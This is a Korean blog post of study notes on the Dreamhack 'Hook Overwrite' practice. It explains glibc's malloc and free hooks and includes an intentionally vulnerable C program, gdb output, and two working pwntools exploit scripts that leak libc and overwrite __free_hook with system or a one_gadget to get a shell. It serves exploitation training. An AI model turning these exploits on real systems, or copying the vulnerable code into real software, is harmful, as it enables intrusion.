본문 바로가기

Dreamhack/Lecture & Practice

[Practice] Hook Overwrite

1. Hook Overwrite

  • Hook의 특징을 이용한 공격 기법이다.

   [참고]
   
   Hooking은 운영체제가 어떤 코드를 실행하려할 때, 이를 낚아채어 다른 코드가 실행되게 하는 것을 의미하며,
   이때 실행되는 코드를 Hook이라고 한다.

2. 실습 목표

  • 본 실습에서는 malloc과 free함수를 후킹하여, 각 함수가 호출될 때 공격자가 작성한 악의적인 코드가 실행되도록 하는 기법을 실습한다.
  • Full RELRO가 적용되어도, libc의 데이터 영역에는 쓰기가 가능하므로 Full RELRO를 우회하는 기법으로 사용할 수 있다.

3. 메모리 함수 훅

  • C언어에서 메모리 동적할당&해제를 담당하는 함수는 malloc, free, realloc이 대표적이며, 해당 함수들은 libc.so에 구현되어 있다.
  • libc에는 함수들의 디버깅 편의를 위해, 훅 변수가 정의되어 있다.
  malloc 함수    __malloc_hook 변수의 값이 Null인지 검사하고, 아니라면 malloc 수행 전에 __malloc_hook이 가리키는
  함수를  먼저 실행한다.
  free 함수   __free_hook을 사용한다.
  realloc 함수   __realloc_hook을 사용한다.
  • __malloc_hook, __free_hook, __realloc_hook은 관련된 함수와 같이 libc.so에 정의되어 있다.

  • 변수들의 오프셋은 각각 0x3ed8e8, 0x3ebc30, 0x3ebc28인데, 섹션 헤더 정보를 참조하면 libc.so의 bss섹션에 포함됨을 알 수 있다. 따라서, bss섹션은 쓰기가 가능하므로, 해당 변수들의 값을 조작할 수 있게 된다.

bss범위 : 0x3ec860 ~ (0x3ec860 + 0x4280)

4. Hook Overwrite 공격 원리

  • malloc, free, realloc에는 각각 대응되는 훅 변수가 존재한다.
  • 해당 훅 변수들은 libc의 bss섹션에 위치하여 실행 중에 덮어쓰는 것이 가능하다.
  • 훅을 실행할 때, 기존 함수에 전달한 인자를 같이 전달해주기 때문에, __malloc_hook을 system함수의 주소로 덮고malloc("/bin/sh")를 호출하여 셸 획득 등의 공격이 가능하다.
  • Full RELRO가 적용된 바이너리에서도, 라이브러리의 훅에는 쓰기 권한이 남아있기 때문에 위와 같은 공격을 고려해볼 수 있다.

5. Free Hook Overwrite 실습

  • free 함수의 훅을 덮는 공격을 실습한다. 

 

5-1. 실습 코드

// Name: fho.c
// Compile: gcc -o fho fho.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  char buf[0x30];
  unsigned long long *addr;
  unsigned long long value;
  
  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);
  
  puts("[1] Stack buffer overflow");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);
  
  puts("[2] Arbitrary-Address-Write");
  printf("To write: ");
  scanf("%llu", &addr);
  printf("With: ");
  scanf("%llu", &value);
  printf("[%p] = %llu\n", addr, value);
  *addr = value;
  
  puts("[3] Arbitrary-Address-Free");
  printf("To free: ");
  scanf("%llu", &addr);
  free(addr);
  
  return 0;
}

 

5-2. 분석

 

① checksec을 사용하여, 적용된 보호기법 확인

 

② 코드 분석

  • Code 16 ~ 19번 줄에서 stack overflow가 발생한다.
    하지만, 카나리를 올바르게 덮을 수 없고 반환주소도 조작이 불가능하기 때문에
    해당 부분은 스택에 있는 데이터를 읽는 용도로만 사용할 수 있을 것이다.
  • Code 21 ~ 27번 줄에서 주소를 입력하고, 해당 주소에 임의의 값을 쓸 수 있다.
  • Code 29 ~ 32번 줄에서 주소를 입력하고, 해당 주소의 메모리를 해제할 수 있다. 

 

5-3. 공격 시나리오

 

① 라이브러리의 변수 및 함수들의 주소 구하기

  • __free_hook, system함수, "/bin/sh"문자열은 libc.so에 정의되어 있으므로, 매핑된 libc.so안의 주소를 구해야 주소를 계산할 수 있다.
  • 해당 코드의 stack overflow취약점을 이용하여 스택의 값을 읽을 수 있는데, 스택에는 libc의 주소가 있을 가능성이 매우 크다.
  • main함수는 __libc_start_main이라는 라이브러리 함수가 호출하므로, main함수에서 반환 주소를 읽으면, 그 주소를 기반으로 필요한 변수와 함수들의 주소를 계산할 수 있다.
$ gdb ./fho
pwndbg> start 
pwndbg> main
pwndbg> bt
#0  0x00005555555548be in main ()
#1  0x00007ffff7a03c87 in __libc_start_main (main=0x5555555548ba <main>, argc=1, argv=0x7fffffffe4e8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe4d8) at ../csu/libc-start.c:310
#2  0x00005555555547da in _start ()

 

② 셸 획득

  • __free_hook의 값을 system함수의 주소로 덮어쓴다.
  • 이후 할당한 메모리를 해제할 때, "/bin/sh"를 해제하게 하면 system("/bin/sh")가 호출되어 셸을 획득할 수 있다.

 

5-4. Exploit 과정

 

① 라이브러리의 변수 및 함수들의 주소 구하기

  • gdb로 main함수의 반환주소인 libc_start_main을 읽는다.
  • 읽은 주소값에서 libc의 매핑 주소를 빼면, libc와 반환 주소의 오프셋을 구할 수 있다.
  • 해당 오프셋을 이용하여 libc의 매핑 주소를 계산할 수 있다.
$ gdb ./fho
pwndbg> start
pwndbg> main
pwndbg> bt
#0  0x00005555555548be in main ()
#1  0x00007ffff7a03c87 in __libc_start_main (main=0x5555555548ba <main>, argc=1, argv=0x7fffffffe4a8, init=<optimized out>, fini=<optimized out>
, rtld_fini=<optimized out>, stack_end=0x7fffffffe498) at ../csu/libc-start.c:310
#2  0x00005555555547da in _start ()

 

② 셸 획득

  • __free_hook의 값을 system함수의 주소로 덮어쓴다.
  • "/bin/sh"를 해제하게 하면, system("/bin/sh")가 호출되어 셸을 획득할 수 있다.

 

5-5. Exploit Code

from pwn import *

def print_v(n, v):
    return success(": ".join([n, hex(v)]))

p = process(b"./fho")
e = ELF(b"./fho")
libc = ELF(b"/lib/x86_64-linux-gnu/libc.so.6")

payload = "A" * 0x48

p.sendafter("Buf: ", payload)
p.recvuntil(payload)
libc_start_main = u64(p.recvn(6)+ b"\x00"*2)

libc_base = libc_start_main - (libc.symbols['__libc_start_main']+231) 
system = libc_base +  libc.symbols['system']
free_hook = libc_base + libc.symbols['__free_hook']
binsh = libc_base + next(libc.search(b"/bin/sh"))

print_v("libc_start_main", libc_start_main)
print_v("libc_base_addr", libc_base)
print_v("system addr", system)
print_v("free_hook addr", free_hook)
print_v("/bin/sh addr", binsh)

p.recvuntil(b"To write: ")
p.sendline(str(free_hook))
p.recvuntil(b"With: ")
p.sendline(str(system))

p.recvuntil(b"To free: ")
p.sendline(str(binsh))

p.interactive()

6. one_gadget

  • one_gadget 또는 magic_gadget은 실행하면, 셸이 획득되는 코드 뭉치를 말한다.
  • one_gadget도구를 사용하면, libc에서 쉽게 one_gadget을 찾을 수 있다.
    ( https://github.com/david942j/one_gadget )
  • one_gadget 단점은 libc버전마다 다르게 존재하며, 제약 조건이 모두 다르다.
    따라서, 사황에 맞는 가젯을 사용하거나 제약조건을 만족하도록 조작해줘야 한다.

 

6-1. one_gadget 예시

  • one_gadget은 함수에 인자를 전달하기 어려울 때, 유용하게 사용될 수 있다.
  • __malloc_hook을 덮을 수 있으나, malloc 호출할 때 인자를 검사해서 작은 정수만 입력할 수 있다면 "/bin/sh"를 인자로 전달하기 어렵다. 이때, 제약조건에 만족하는 one_gadget이 존재한다면 이를 이용할 수 있다.

 

6-2. one_gadget 사용한 Exploit

  • __free_hook을 one_gadget주소값으로 바꾼다.
    (본 실습은 0x4f302주소의 one_gadget을 사용하였다.
from pwn import *

def print_v(n, v):
    return success(": ".join([n, hex(v)]))

p = process(b"./fho")
e = ELF(b"./fho")
libc = ELF(b"/lib/x86_64-linux-gnu/libc.so.6")

payload = "A" * 0x48

p.sendafter("Buf: ", payload)
p.recvuntil(payload)
libc_start_main = u64(p.recvn(6)+ b"\x00"*2)

libc_base = libc_start_main - (libc.symbols['__libc_start_main']+231) 
onegadget = libc_base +  0x4f302
free_hook = libc_base + libc.symbols['__free_hook']

print_v("libc_start_main", libc_start_main)
print_v("libc_base_addr", libc_base)
print_v("onegadget addr", onegadget)
print_v("free_hook addr", free_hook)

p.recvuntil(b"To write: ")
p.sendline(str(free_hook))
p.recvuntil(b"With: ")
p.sendline(str(onegadget))

p.recvuntil(b"To free: ")
p.sendline(str(1234))

p.interactive()